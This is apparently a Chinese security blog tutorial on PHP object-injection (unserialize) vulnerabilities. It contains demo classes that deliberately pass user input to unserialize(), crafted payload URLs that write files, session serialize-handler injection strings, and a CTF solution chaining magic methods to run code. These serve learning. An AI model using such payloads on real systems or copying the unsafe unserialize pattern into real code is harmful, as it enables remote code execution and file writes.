php序列化

1. 基础

1.1 什么是序列化

序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象

序列化后的格式:
布尔型

b:value
b:0 //false
b:1 //true

整数型

i:value
i:1
i:-1

字符型

s:length:"value";
s:4:"aaaa";

NULL型

N;

数组

a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}

对象

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

1.2 理解php对象常见魔术方法

当对象被创建的时候调用:
__construct
当对象被销毁的时候调用:
__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):
__toString
序列化对象之前就调用此方法(其返回需要是一个数组):
__sleep
反序列化恢复对象之前就调用此方法:
__wakeup
当调用对象中不存在的方法会自动调用此方法L
__call

ex1:

<?php
class test{
    public $varr1="abc";
	public $varr2="123";
    public function echoP(){
        echo $this->varr1."<br>";
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destruct(){
        echo "__destruct<br>";
    }
    public function __toString(){
        return "__toString<br>";
    }
	public function __sleep(){
		echo "__sleep<br>";
		return array('varr1','varr2');
	}
    public function __wakeup(){
		echo "__wakeup<br>";
	}
}
//实例化一个对象,调用了construct方法,输出了__construct
$obj = new test();
//调用echoP方法,输出了abc
$obj->echoP();
//被当字符串输出,调用了__toString方法,输出了__toString
echo $obj;
//序列化对象,调用__sleep方法,输出了__sleep
$s = serialize($obj);
//输出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化调用__wakeup方法,输出了__wakeup
//此时的echo又是相当于将对象字符串输出,于是又调用了__toString
echo unserialize($s);
//脚本结束,即对象将被销毁,调用__destruct,其中还有一次是反序列化恢复的对象,所以这里是输出两次__destruct
?>

1.3 简单demo漏洞利用

ex2:

<?php
class syclover{
		var $member;
		var $filename;
		function __wakeup(){
			$this->save($this->filename,$this->member);
		}
		public function save($filename,$data){
			file_put_contents($filename,$data);
		}
}
unserialize($_GET['a']);
?>

url(生成一个文件):

http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}

2. php_session序列化及反序列化问题

2.1 简介

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize
(php>=5.5.4)
经过 serialize() 函数反序列处理的数组

php提供session.serialize_handler "php" PHP_INI_ALL可以来设置以上的处理器

测试的时候php版本一定要大于5.5.4(具体版本未测试,不然session写不进文件)

当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"在经过php解析后是被看成键名,后面就是一个实例化test对象的注入

ex3:

1. php.ini先设置session.serialize_handler为php_serialize
2. http://192.168.65.133/other/serialize/2.php?a=|O:4:"test":0:{}
3. 删掉注释再次访问
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

2.2 实际利用

  1. session.auto_start=On
Q:session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器\session)相关参数是无效的。
A:先销毁注册的session,然后设置处理器,再调用session_start()注册session

先将php中session.serialize_handler设置为php
ex4:

<?php
if (ini_get('session.auto_start')) {
    session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

流程:

1、提交链接:foo1.php?a=|O:8:"stdClass":0:{}
其中session数据是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次访问时,php会先按php.ini里设置的序列化处理器反序列化存储的数据(所以只能注入一些php内置类)
  1. session.auto_start=Off
    当两个脚本的序列化处理器不同就会有问题出现
    ex5:
    foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

构造好链接:

192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}

然后访问foo2.php,就会执行代码,输出hilemon

2.3 安恒ctf_web3

本题是根据2.2中的session.auto_start=Off出的,本地环境搭建时记得设置一下php.ini

session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=0ff

当PHP_SESSION_UPLOAD_PROGRESS开时,upload一个文件,文件名会在session里面出现
详细参考:https://bugs.php.net/bug.php?id=71101

<form action="http://lemon.com/phpinfo.php" method="post"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>

最后构造filename为

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}

再次访问index.php就可以看到执行了var_dump(1)的代码。
当时很疑惑的一个问题是foo2中的__toString是如何调用的

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

看到foo1中的file_exists函数,它会讲对象转换为字符串,然后判断这个字符串(文件)是不是存在,所以有进行字符串的转化这一步,导致toString的调用(感谢p师傅的教导)
代码下载

3. 总结

本想继续研究一下一些cve方面的序列化漏洞,无奈现在正是忙其他事的时候。
有很多关于序列化的黑魔法:
https://github.com/80vul/phpcodz
以及p师傅的Joomla远程代码执行漏洞分析
http://drops.wooyun.org/papers/11330
都是需要好好学习一波的文章。

4. 本文学习的参考链接

http://drops.wooyun.org/papers/4820
http://drops.wooyun.org/tips/3909

posted @ 2016-04-19 00:55  l3m0n  阅读(5333)  评论(3编辑  收藏  举报